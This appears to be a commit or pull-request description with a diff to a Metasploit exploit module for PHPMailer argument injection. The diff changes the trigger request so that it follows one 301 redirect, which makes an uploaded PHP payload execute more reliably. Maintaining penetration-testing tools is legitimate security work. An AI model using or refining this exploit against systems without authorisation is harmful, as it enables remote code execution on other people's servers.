Follow 301 re-direct

I found that in some cases, the trigger URL cannot be accessed directly.  For example, if the uploaded file was example.php, browsing to "example.php" would hit a 301 re-direct to "/example".  It isn't until hitting "/example" that the php is executed.  This small change will just allow the trigger to follow one 301 redirect.

modules/exploits/multi/http/phpmailer_arg_injection.rb

@@ -68,9 +68,10 @@ class MetasploitModule < Msf::Exploit::Remote
     while wait_time > 0
       sleep(sleep_time)
       wait_time -= sleep_time
-      res = send_request_cgi(
+      res = send_request_cgi!({
         'method'   => 'GET',
         'uri'      => trigger_uri
+        }, redirect_depth = 1
       )
 
       if res.nil?